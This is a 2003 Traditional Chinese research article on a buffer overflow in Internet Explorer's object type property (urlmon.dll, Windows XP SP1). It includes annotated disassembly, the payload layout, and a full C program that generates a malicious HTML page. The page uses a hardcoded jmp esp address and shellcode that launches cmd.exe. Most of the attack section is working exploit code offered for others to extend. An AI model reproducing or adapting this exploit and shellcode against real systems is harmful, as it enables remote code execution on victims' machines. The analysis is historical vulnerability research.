Internet Explorer Object Type Property Overflow 的研究心得
建立時間:2003-06-08
文章屬性:原創
文章提交:Nanika (minjack.tw_at_yahoo.com.tw)
Internet Explorer Object Type Property Overflow 的研究心得
Nanika@seed.net.tw or minjack.tw@yahoo.com.tw
測試系統WindowsXP_SP1繁體中文專業版
Iexplorer 6.00.2800.1106 (xpsp1.020828-1920)
Urlmon.dll 6.00.2800.1170
Msvcrt.dll 7.0.2600.1106 (xpsp1.020828-1920)
Shlwapi.dll 6.00.2800.1106 (xpsp1.020828-1920)
我提供一些我所研究的技術細節,給各位參考一下,讓大家來討論研究,寫出更通用的利用方法
簡單的Exploit:
建構如下的資料儲存成網頁檔案
<object type="////////////////////////////////////////////////////////////////BBBBAAAADDDD">CCCC</object>
使用IE開啟所建構的網頁
會 ret 44444444 可以改變程式流程
看起來很像傳統的堆疊溢位
但是有一點類似FSO
[64*/][BBBB][AAAA][DDDD][任意的地址(EDI)]
AAAA為EBP值
DDDD為EIP值
但是其後的資料不是ESP值
是EDI值
精心建構object type的一段資料
可以把這一段資料寫到
任意的地址
但是[任意的地址]中無法有00,若是有00則會往下取一各位的資料到任意的地址中,使得任意的地址的值,有一定的範圍,不能隨意的控制
而且定位方面也蠻困難的[任意的地址]之後只能在增加40bytes的資料來放shellcode
這是指RET使用jmp esp而言
若是參考
eEye Digital Security的說法使用jmp edx or call edx
則定位方面shellcode到程式中有一些問題
再分析詳細一點
緩衝區溢位的關鍵函數
urlmon.dll中的
.text:1A441CF6 sub_1A441CF6 proc near ; CODE XREF: .text:1A42590Ep
.text:1A441CF6
.text:1A441CF6 var_104 = byte ptr -104h
.text:1A441CF6 arg_0 = dword ptr 8
.text:1A441CF6 arg_4 = dword ptr 0Ch
.text:1A441CF6 arg_8 = dword ptr 10h
.text:1A441CF6
.text:1A441CF6 push ebp
.text:1A441CF7 mov ebp, esp
.text:1A441CF9 sub esp, 104h
.text:1A441CFF mov ecx, [ebp+arg_8]
.text:1A441D02 push esi
.text:1A441D03 mov esi, ecx
.text:1A441D05 mov cl, [ecx]
.text:1A441D07 test cl, cl
.text:1A441D09 lea eax, [ebp+var_104]
.text:1A441D0F mov [ebp+var_104], cl
.text:1A441D15 jz short loc_1A441D35
.text:1A441D17
.text:1A441D17 loc_1A441D17: ; CODE XREF: sub_1A441CF6+3Dj
.text:1A441D17 cmp cl, 2Fh
.text:1A441D1A jnz short loc_1A441D2B
.text:1A441D1C mov byte ptr [eax], 5Fh;把/(2f)展開成_2F_
.text:1A441D1F inc eax
.text:1A441D20 mov byte ptr [eax], 32h
.text:1A441D23 inc eax
.text:1A441D24 mov byte ptr [eax], 46h
.text:1A441D27 inc eax
.text:1A441D28 mov byte ptr [eax], 5Fh
.text:1A441D2B
.text:1A441D2B loc_1A441D2B: ; CODE XREF: sub_1A441CF6+24j
.text:1A441D2B inc esi
.text:1A441D2C mov cl, [esi]
.text:1A441D2E inc eax
.text:1A441D2F test cl, cl
.text:1A441D31 mov [eax], cl ;copy字串時產生了緩衝區溢位
.text:1A441D33 jnz short loc_1A441D17
.text:1A441D35
.text:1A441D35 loc_1A441D35: ; CODE XREF: sub_1A441CF6+1Fj
.text:1A441D35 lea eax, [ebp+var_104]
.text:1A441D3B push eax
.text:1A441D3C mov eax, [ebp+arg_4]
.text:1A441D3F push offset dword_1A441D5C
.text:1A441D44 dec eax
.text:1A441D45 push eax
.text:1A441D46 push [ebp+arg_0]
.text:1A441D49 call ds:wnsprintfA;因為這裡的原因,使得其後的覆寫不是ESP值,若是要繞過此區,必須填入一個不含00且可寫入的位置
.text:1A441D4F add esp, 10h
.text:1A441D52 xor eax, eax
.text:1A441D54 pop esi
.text:1A441D55 leave
.text:1A441D56 retn 0Ch;返回到DDDD的位置
.text:1A441D56 sub_1A441CF6 endp
若是要使用jmp esp的方法利用此漏洞,建構此類字串,即可
<object type="[/*64][BBBB][AAAA][jmpesp][0x30800101][A*8][shellcode40bytes]">CCCC</object>
AAAA為覆蓋的EBP值,要符合寬字元編碼
jmpesp為覆蓋的EIP值可以放入Ntdll 中jmp esp的地址77fb59cc,要符合寬字元編碼
0x30800101為一個可以寫入不包含00的位置,用來繞過call ds:wnsprintfA,要符合寬字元編碼
A*8此處運用不到,可以隨意的填入,要符合寬字元編碼
shellcode必須要注意的是,要符合寬字元編碼,各系統不一定相同,且只有40bytes
必須要盡量的最佳化程式
與eyas討論過利用方法,提出了
也可以利用此shellcode的地址放入一個"尋找"真正的惡意程式的realshellcode,然後把惡意程式的realshellcode放在<realshellcode><object type="[/*64][BBBB][AAAA][jmpesp][0x30800101][A*8][shellcode40bytes]">CCCC</object>,或是其它的地方,只要可以在記憶體中找到,就可以了
我使用了簡單的方法,寫了一個符合繁體中文版的shellcode,使用jmp esp,轉跳到shellcode
Exploit:
#include <direct.h>
#include <stdio.h>
#include <windows.h>
#include <sys/stat.h>
#include <winnls.h>
#include <lm.h>
unsigned char shellcode[27] =
"/x68/x63/x6d/x64/x20"//push cmd
"/x8b/xc4"//mov eax,esp
"/x50"//push eax
"/xB8/x44/x80/xbf/x77"//mov eax,system_fun_addr
"/xff/xd0"//call eax
"/x41/x41"//inc ecx = nop
"/xb8/xfd/x98/xe5/x77"//mov eax,ExitProcess_fun_addr
"/xff/xd0"//call eax
"/x41/x41";//inc ecx =nop
unsigned char eipaddr[5]=
"/xcc/x59/xfb/x77"; //jmp esp ntdll.dll addr 77fb59cc pass widechar
unsigned char pad[5]=
"/x30/x80/x10/x01";
unsigned char buf[65]="";
int j=0;
int i=0;
void main()
{
unsigned char temp;
unsigned char change;
char path[256];
FILE *bof;
struct stat st;
printf("/n/tBuffer overflow in Internet Explorer Object Type Property Overflow/n/tBig5 Unicode Exploit by Nanika/n/ttest WindowsXP_SP1 Big5 ver/n/tEmail:minjack.tw@yahoo.com.tw or Nanika@seed.net.tw/n");
strcpy(path,"//explorer_exp_Nanika");
mkdir(path);
SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);
strcat(path,"//Exploit_IE_overflow.htm");
if (stat(path,&st)==0)
{ remove(path); exit(1);}//just execute this program twice to remote this file
bof=fopen(path,"w");
fputs("<object type=/"",bof);
for(i=0;i<sizeof(buf);)
{
buf[i++]=0x2f;
}
buf[sizeof(buf)-1]=0;
fprintf( bof, "%s", buf);//buff
fputs("AAAA",bof);//pad
fputs("AAAA",bof);//ebp
fprintf( bof, "%s", eipaddr); //ret -->jmp esp[ntdll]
fprintf( bof, "%s", pad); //edi
fputs("AAAAAAAA",bof);//pad
fprintf( bof, "%s", shellcode); //shellcode
fputs("/">CCCC</object>",bof);
fclose(bof);
printf("/nExploit file: %s Created./nif success open Exploit_IE_overflow.htm exec cmd.exe /ntry exe again will kill Exploit file/n",path);
}
利用方法除了上述的兩種方法之外,也可以考慮,利用call ds:wnsprintfA這裡,因為這裡可以寫入一段資料到任何的地址,但是必須準確的定位可寫入的位址,且需要符合寬字元編碼
接下來其它的漏洞利用方法可能需要各位高手的研究了
希望各位看了這篇文章有些許的收穫
謝謝各位的撥空閱讀thanks